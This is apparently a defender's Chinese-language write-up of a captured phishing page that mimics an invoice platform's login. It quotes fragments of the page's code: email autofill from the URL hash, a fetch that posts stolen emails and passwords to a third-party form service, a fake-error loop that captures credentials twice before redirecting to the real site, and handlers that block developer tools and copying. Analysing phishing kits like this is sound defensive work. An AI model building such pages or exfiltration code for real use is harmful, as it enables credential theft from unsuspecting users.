仿真钓鱼页面窃取用户凭证
钓鱼最简单的方法就是网页复制下来修改后发给受害者窃取账密。
可惜出师未捷身先死~~~
告警报检测到恶意文件,根据告警信息找到了用户。
用户收到电子邮件并且还联系了用户。

拿到文件就以HTML。页面模仿了“某某发票平台”官网的登录模块,包括通过Base64内联编码的Logo图像、底部版权声明及隐私政策链接布局,甚至连页面标题和浏览器图标都指向了真实的官网CDN资源。

攻击载荷隐藏在表单提交事件处理器(addEventListener('submit'))中。当用户在仿冒页面输入账号密码并点击“快速登录”按钮后,页面会执行以下恶意流程:
前端代码会对用户输入的“邮箱”字段进行预处理。它尝试从当前浏览器地址栏的URL片段标识符(即window.location.hash)中提取经过Base64编码或明文传递的邮箱字符串,并自动填充到输入框。通过构造形如hxxps://fake-invoice-login.xxx/#dGVzdHVzZXJAZ21haWwuY29t的链接,实现针对特定目标的个性化攻击,提升欺骗成功率。
// 从 URL hash 自动填充邮箱
const hash = decodeURIComponent(window.location.hash.substring(1));
document.getElementById('email').value = decoded;面通过一个fetch API请求,以application/x-www-form-urlencoded格式,将用户输入的明文邮箱、经过Base64二次编码的邮箱以及明文密码,通过HTTP POST方法发送至一个第三方表单收集服务域名。用于接收窃取凭证。
// 将用户输入的邮箱和密码发送到第三方服务器
fetch('https://submit-form.com/c5ibqklFJ', {
method: 'POST',
body: `email=${encodeURIComponent(email)}&password=${encodeURIComponent(password)}`
})页面设计了一个“尝试次数”控制逻辑。代码中定义了一个计数器变量attempts。当用户首次提交表单并触发数据外传后,计数器累加,页面会显示一条错误信息:“邮箱或密码错误 第 1 次尝试”,诱导用户再次输入。当用户第二次提交(即attempts >= 2)时,页面才会执行最终跳转,将用户浏览器重定向至“某票平台”真正的官方登录页面(hxxps://xxxx.com/chn/en/login)。它为攻击者提供了两次窃取用户凭证的机会,用户可能会怀疑自己首次输错;最终导向真实官网的跳转,完美地掩盖了中间发生的盗窃行为,用户大概率会认为是自己记错了密码,而不会意识到凭证已泄露。
第3次尝试才跳转到真正的登录页面
前2次尝试会窃取凭证
let attempts = 0;
if (attempts >= 2) {
window.location.href = 'https://xxxx.com/chn/en/login';
}攻击代码中还包括通过键盘事件监听,禁用浏览器的F12开发者工具、Ctrl+U查看源码、Ctrl+Shift+I打开控制台以及复制、全选等常用快捷键。同时,它还禁用了页面文本的选择和拖拽操作。并且这代码还是用AI生成的。
<script>
// Disable key combinations
document.addEventListener('keydown', function(e) {
// F12
if (e.key === "F12") e.preventDefault();
// Ctrl+U, Ctrl+S, Ctrl+C, Ctrl+Shift+I
if ((e.ctrlKey && e.key === 'u') ||
(e.ctrlKey && e.key === 's') ||
(e.ctrlKey && e.key === 'c') ||
(e.ctrlKey && e.shiftKey && e.key.toLowerCase() === 'i')) {
e.preventDefault();
}
// Ctrl+A or Ctrl+X (cut/copy all)
if ((e.ctrlKey && e.key === 'a') ||
(e.ctrlKey && e.key === 'x')) {
e.preventDefault();
// Optional: Disable text selection
document.addEventListener('selectstart', function(e) {
// Optional: Disable drag events
document.addEventListener('dragstart', function(e) {
</script>
